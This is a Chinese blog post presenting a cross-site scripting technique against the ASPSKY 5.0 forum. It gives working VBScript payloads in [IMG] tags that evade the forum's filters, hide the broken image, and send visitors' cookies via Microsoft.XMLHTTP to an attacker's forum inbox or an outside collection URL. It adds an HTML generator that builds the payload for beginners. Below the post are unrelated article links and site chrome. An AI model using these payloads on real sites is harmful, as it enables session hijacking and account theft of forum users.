跨站脚本攻击利用HTTP控件发送COOKIE

Web安全之XSS跨站脚本攻击_超链接xss(2) 点击“write”按钮后,会在当前页面插入一个超链接,其地址为文本框的内容。 阅读详情
跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个问题:

总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。

没有更好的办法了吗?以前在研究VBS病毒自动升级的时候用到一个Microsoft.XMLHTTP控件(该控件是WIN98/2K上都默认自带的东东,并且它是IE认为safe的控件!),通过它我们可以在网页中给网站发送http请求,可以是POST也可以是GET.

好了思路已经到这儿来,下面我们可以实战一下,我以ASPSKY 5.0 0320为例子。我们知道<IMG SRC="XXXXXXX">在SRC中可以写入vbscript:这样的语句。。

比如
<img src="vbscript:a=(msgbox(now))">,但是我们只能执行一个语句

比如
<img src="vbscript:a=(msgbox(now)):b=(msgbox(now))">这样都将是错误的!
怎么办法呢?在VBS中我们可以用EXECUTE语句,在JS中我们可以使用EVAL语!

比如:<img src="vbscript:execute("a=(msgbox(now)):b=(msgbox("czy""))")">
或是<img src="javascript:eval(’alert(/’nsfocus/’);alert(/’czy/’)’)">

还没有晕吧?上面你可能会注意到用VBS的execute语句时双引号要换为"这是因为:在VBS中单引号要括起字符串,必须是两个单引号代表一个又引号,并且在双引号内!所以在execute语句中我们不能用单引号,而直接用"呢,在HTML进行引号匹配的时候会和src="后的引号匹配,所以我们只能用"代替了。

引号的问题解决了,在实际应用中ASPSKY还会对我们的代码进行处理:
1:如果发现script字串,会在前面加上一个空格中国公务网 2004-5-31 15:28:52
2:如果发现http字串会认为是一个URL,并在两边加上<A>元素
3:如果发现空格会用 代替

解决问题:
1:vbscript用vbsCript代替
2:http用,""ht""+""tp...代替(vbs中引号括引号里面的应用多一对,+代表连接符)
3:空格用 代替(注不是/u0014)

在最后就是发送COOKIE的问题:
1:控件在本地可以GET,POST任意的网站,但是在网页中竟然只能
GET,POST当前服务器。。。。要不然IE就会说拒绝仿问!
2:cookie中不能有&等在URL中有特殊交意的字符

解决问题:

1:只能发给当前服务器,那么可以把COOKIE发到你在论坛上的注册的用户的邮箱嘛:)
2:replace(document.cookie,""&"",""-""),在vbs中用
replace替换函用,在例子中我把"&"换成了"-"

问题都解决了下面是实际的例子:
动网aspsky 5.0 0320测试成功

//----------------------

[IMG]vbsCript:execute("dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/
yanqing/bbs/usersms.asp?action=send&touser=czy&title=news&submit=发送&message=""&dat,false:http.send")[/IMG]

说明:把COOKIE发给CZY用户,邮件标题叫news
//----------------------

另控件的正常用法:
<script language=vbs>
dat=document.cookie
set http=createobject("Microsoft.XMLHTTP")
http.open "POST","http://www.chinansl.com/czy/get.asp?cook="&dat,false
http.send
tt=http.responsetext
msgbox tt
</script>

让代码更完美,现在COOKIE已经乖乖的在我们的邮箱里了,但是有一个小问题由于图片不能正常的显示会是一个小叉,旁边还有按此在新窗口浏览图片的提示。。。这又难免会让人生疑。

解决思路:

一个网页中的所有IMG元素通过document.imanges都能例举到,并且可以设置它们的大小,当width=0时就相当于HIDDEN了.
通过比较元素的src属性的值是否含有"ript"就可以判断是不是我们的图片.另外比较时大于符用>代替,0用0代替!

代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 
then:aa.width=0:end if:next")[/IMG]

实际应用的代码:
[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:
aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://www.hd315.gov.cn/gcs/19qu/yan
qing/bbs/usersms.asp?action=send&touser=czy&title=alll&submit=发送&message=""&dat,false:http.send")[/IMG]

//-------------------方便菜鸟使用:)
<html> 
<script language=vbs> 
sub changeq() 
if form1.loc.value="" or form1.who.value="" then 
msgbox "没有加入地址或用户名?" 
exit sub 
end if 
loc=form1.loc.value 
user=form1.who.value 
str="[IMG]vbsCript:execute("for each aa in document.images:if instr(aa.src,""ript"")>0 then:
aa.width=0:end if:next:dat=replace(document.cookie,""&"",""-""):set http=createobject(""Microsoft.XMLHTTP""):http.open ""GET"",""ht""+""tp://"&loc&"/usersms.asp?action=send&touser="&user&"&title=news&submit=发送&message=""&dat,false:http.send")[/IMG]" 
form1.area.value=str 
end sub</script> 
<body> 
<FONT SIZE=5 COLOR=RED>ASPSKY 5.0 0320 COOKI搜集器--CZY</FONT> 
<form name=form1> 
设置发送地址:<input type=text name=loc size=50><br> 
▲发送地址形如:www.nnit30.com/newbbs(newbbs是网站中论坛的安装目录最后不用加/,也
不要http://头)<br> 
发送的用户名:<input type=text name=who size=20>------------- 
<input type=button name=change value=生成代码 onclick=changeq()><br> 
生成的代码:)<textarea name=area rows=10 cols=100></textarea> 
</form> 
</body> 
</html>  
XSS攻防实战:从Cookie窃取到键盘记录,Pikachu靶场深度解析 跨站脚本攻击(XSS)是一种常见的Web安全漏洞,其核心原理在于攻击者能够将恶意脚本注入到可信网页中,当其他用户浏览时脚本便在其浏览器执行。这种攻击之所以危害巨大,是因为它打破了浏览器对网站内容的信任边界,使得攻击者可以窃取用户敏感信息、劫持用户会话甚至控制用户浏览器。从技术价值看,理解XSS攻击链有助于开发者构建更安全的Web应用,特别是在身份认证、数据保护和用户隐私方面。在实际应用场景中,XSS常被用于窃取Cookie实施会话劫持、构造精准钓鱼攻击以及植入键盘记录器,这些手法在Pikachu靶场的实战演 阅读详情

相关推荐

浏览器本地存储全解析:Cookie、Web Storage与IndexedDB的实战选型指南

浏览器本地存储是Web开发中实现数据持久化、状态管理和离线功能的核心技术。其基本原理是为前端应用提供在用户设备上存储数据的能力,从而减少网络请求、提升用户体验并支持离线场景。从技术价值看,合理运用本地存储能显著优化应用性能与交互流畅度。常见的应用场景包括用户登录状态保持、表单数据暂存、应用配置缓存以及构建离线可用的PWA应用。本文聚焦于**Cookie**、**localStorage**、**sessionStorage**和**IndexedDB**这四种主流方案,通过对比其设计原理、容量、生命周期与A

weixin_30367169的博客 397

趣事记录——特殊字符\u0014

今天写代码又没注意字符串长度,结果越界了,显示了一个特殊字符复制粘贴搜索,结果百度自动弹回首页放到记事本样子还变了放到sublime又变了网上找了半天,转成Unicode是\0014这不就是第一个图吗?搞了半天,结果别人其实已经把结果写在了脸上_(:3 」∠ )_真名:Device Control Four U+0014相关链接(详细信息):http://www.fileformat.info/i...

weixin_41885085的博客 8473

【前端面试知识点】- 1. http&https

HTTP的基础概念、工作原理、请求响应步骤。TCP三次握手、四次握手。跨域解决方案。

拉格朗日的学习笔记 1万+

【跨域】一篇文章彻底解决跨域设置cookie问题!

之前做项目的时候发现后端传过来的 SetCookie 不能正常在浏览器中使用。是因为谷歌浏览器新版本Chrome 80将Cookie的SameSite属性默认值由None变为Lax。接下来带大家解决该问题。

lonelysnowman的博客 1万+

CAPL实战:从零构建HEX文件解析器,赋能UDS刷写

本文详细介绍了如何使用CAPL从零构建HEX文件解析器,以支持UDS刷写操作。通过解析HEX文件格式、设计状态机、优化数据结构与算法,实现高效准确的固件数据处理,并提供了与UDS刷写流程对接的工程化实践建议。

weixin_28726391的博客 444

Python+pytest+requests 自动化测试框架

环境准备 本次选用的是Python+Pytest+requests来搭建自动化框架,需要有 Python 环境(3.x 版本),安装pytest和requests,不会安装的自行去网上搜教程。 关于 Pytest 的基本使用,这里不作讲解,不清楚的可以看我之前的文章。 简单 Demo 我们先创建一个项目,取名api-test,然后在下面创建一个test_api.py的文件 # test_api.py import pytest import requests def test_01():

weixin_42686892的博客 1万+

跨站点设置 Cookie

网站跨站点实现单点登录的实现前言实现方法跨子域(Across-Subdomains)完全跨域(Across-Domains)用户首次单点登录用户跨站访问用户退出登录结语参考资料 前言 网站的用户身份验证往往使用 Cookie 技术。用户在一个网站进行登录以及身份验证的过程一般为: 在登录页面进行登录后,将登录用户的用户名等信息加密后写在本地浏览器中,也就是一个 Cookie,我们把这个 Cookie 叫做票(Ticket)。 需要判断用户是否登录的页面,需要读取相应 Ticket,并从中解密出用户信息,

weixin_43536737的博客 3292

新手必看:如何用R/qtl快速完成QTL定位分析(附实战代码)

本文为新手提供了使用R/qtl进行QTL定位分析的完整实战指南。内容涵盖从环境搭建、数据准备与清洗,到核心分析流程(包括遗传图谱计算、单QTL扫描、置换检验确定阈值)以及进阶结果可视化的全步骤。通过清晰的代码示例,帮助读者快速掌握这一数量遗传学关键分析技术,实现从数据到QTL峰值的完整分析闭环。

y7z8a的博客 504

网络安全-跨站脚本攻击(XSS)的原理、攻击及防御

所用工具 Google出品:开源Web App漏洞测试环境:Firing Range 简介 跨站脚本攻击(全称Cross Site Scripting,为和CSS(层叠样式表)区分,简称为XSS)是指恶意攻击者在Web页面中插入恶意Script代码,当用户浏览网页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。 xss是攻击客户端,最终受害者是用户,网站管理员也是用户之一。 xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过.

关注网络安全、云原生安全 4万+

狗都能看懂的MAML原理讲解和代码实现

meta-leaning指的是元学习,元学习是深度学习的一个分支,一个好的元模型(meta-learner)应该具备对新的、少量的数据做出快速而准确的学习。通俗的来讲, 对于人来说,给几张橘猫的图片让看一下,再给你几张没见过的英短猫图片,你一定能很快识别出来都是猫。但是对于神经网络来说,并非如此。如果让一个小汽车分类网络去识别不同的大货车,那效果肯定很差。而传统的CNN网络都是输入大量的数据,然后进行分类的学习。但是这样做的问题就是,神经网络的通用性太差了,根本达不到“智能”的标准。而人类的认知系统,可以通

个人学习笔记 6万+

华为OD机试真题 新系统 9月16号 【园区基站节能部署规划】

华为OD机试真题 新系统【园区基站节能部署规划】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD机试真题 【园区基站节能部署规划】多语言题解。

qq_45776114的博客 361

利用Microsoft.XMLHTTP控件发送COOKIE

来自:[url=http://s0n9.blog.sohu.com]s0n95 B1o9 [/url] 跨站脚本攻击想必各位都已经是很熟悉了,但是得到COOKIE的时候一直有一个问题:总是要用WINDOW.OPEN弹一个窗体出来然后发送COOKIE,这样隐秘性就大打折扣了。以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句的办法勉强可以作到发送COOKIE不出现I

1487

8.30华为OD机试真题 新系统 - 单词搜索计数 (Java/Py/C/C++/Js/Go)

8.30华为OD机试真题 新系统 - 单词搜索计数 (Java/Py/C/C++/Js/Go)

算法大师! 603

XSS介绍及利用

XSS——跨站脚本攻击XSS介绍及利用 XSS介绍及利用 1、XSS介绍 XSS(cross site scripting)跨站脚本攻击, 恶意攻击者往web页面里插入恶意script代码,当用户浏览该页面时,代码就会被执行 2、XSS原理 在HTML中常用到字符实体,对常用到的字符实体没有进行转译,导致完整的标签出现,在可输入的文本框等某些区域内输入特定的某些标签导致代码被恶意篡改。 3、实现过程 (1)攻击者将恶意代码插入到服务器 (2)其他用户无防备的情况下访问服务器 (3)服务器对含有恶意代码的网页

世间繁华梦一出 3670

【C#学习记录】如何让界面控件实现自适应布局(Winform)

小伙伴们大家好,我是雷工!在软件界面设计中,客户常常要求设计的界面可以随意缩放,缩放过程中,界面中的按钮等控件也会随着窗体变大缩小自动调整显示位置和尺寸大小。在C#的Winform窗体中如何实现这个效果,下面我们一起学习下。

做有价值的事,积累有价值的笔记! 1万+

Git救援:如何从误操作中恢复未提交的更改

摘要:本文探讨了误操作git reset --hard导致未提交更改丢失后的恢复方法。首先分析git reflog的局限性,随后介绍利用IDE本地历史记录(如IntelliJ IDEA和VS Code)进行文件恢复的具体步骤。最后建议使用文件系统恢复工具(如Linux的extundelete或Windows的Recuva)作为备选方案。文章强调定期提交的重要性,同时提供了意外发生时可行的恢复策略,帮助开发者尽可能挽回丢失的工作内容。(149字)

2501_90323865的博客 131

Response对象的学习

Response对象在Web开发中是一个重要的概念,它代表了服务器对客户端请求的响应。当客户端(如浏览器)向服务器发送一个请求后,服务器会生成一个Response对象,其中包含了服务器返回给客户端的数据、状态码、响应头等信息。希望这些信息能帮助你更好地理解和使用Response对象中与Cookie相关的概念。属性在Web开发中通常与HTTP响应中的Cookie相关,但它实际上更多地与请求(Request)对象相关,因为服务器在响应中通过。Response对象的Cookies属性学习。

2301_77523055的博客 845

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

HTTP Observatory 网站安全评分从F到A+的完整优化指南

HTTP安全是Web应用防护的基础层,其核心在于通过一系列标准化的响应头来定义资源加载、数据交互的安全策略。从原理上看,这些安全头通过白名单机制、协议强制、同源策略等技术手段,在浏览器端构建主动防御体系,有效抵御XSS、点击劫持、中间人攻击等常见威胁。其技术价值在于将安全能力前置,实现漏洞缓解而非单纯依赖后端修复。在应用场景上,无论是电商、社交还是企业门户,只要涉及用户数据交互,都需要完备的HTTP安全配置。本文以Mozilla HTTP Observatory的扫描评分为框架,深入解析如何系统性地配置如C

weixin_30786657的博客 471

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

前端安全-常见网络攻击方式及其原理与防御方法

前端安全 CSRF/XSRF攻击——跨站点请求伪造 原理: 1、利用客户端登录目标网站后存在的Cookie信息,第三方网站诱导用户在该网站下发起对目标网站服务器的请求。 2、而目标服务端未对请求做过滤或其他防护验证,就使得黑客利用用户的身份,成功完成与服务器的会话请求。 防御: 1、验证HTTP Referer字段:HTTP头中有Referer字段,记录了HTTP请求的来源地址。服务端可以通过验证该字段来判断请求是否是指定URL,而不是第三方网站。 2、HTTP请求头中添加token,token由用户第一次

MrChkk的博客 823

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

什么是跨站攻击

<br />跨站攻击,即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。<br />业界对跨站攻击的定义如下:“跨站攻击是指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行。”由于HTML语言允许使用脚本进行简单交互,

ellis2008的专栏 1858

.Net开发人员常犯的6大安全错误

业内分析人士估计,有超过70%的安全漏洞是在应用程序中被发现的,大部分都是由代码内存在的安全缺陷引起的。   微软已经为.Net环境添加了大量的功能,帮助开发人员创建安全的应用程序,例如,身份验证已经成为开发环境集成的一个功能,另外,默认情况下调试消息被禁用掉了。微软对安全的关

学习设计与编程 427

xss跨站,ctfshow316~331

xss(cross site script)跨站脚本攻击攻击者利用网站程序对用户的输入过滤不足,输入了可以显示在页面上对其他用户造成影响js代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。

m0_74849202的博客 887

《Pro ASP.NET MVC 3 Framework》学习笔记之三十三 【安全性】

本章会简要阐释对用户而言操纵HTTP请求(例如,修改cookies,隐藏或禁用表单字段等)是多么容易的事情,这会让我们在正确的思维框架下清楚地考虑web的安全性。接着会依次介绍常见的避免攻击的指南,并了解它们的工作原理以及它们怎么应用到MVC框架里面。还会描述如果阻止每一种攻击的形式或者是更换的并设计出来。 所有的输入都是可以被伪造的(All Input...

weixin_33701617的博客 215
上一篇: 利用OllyDbg进行源码级调试(Win32汇编语言)
下一篇: 网络信息探测技巧
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值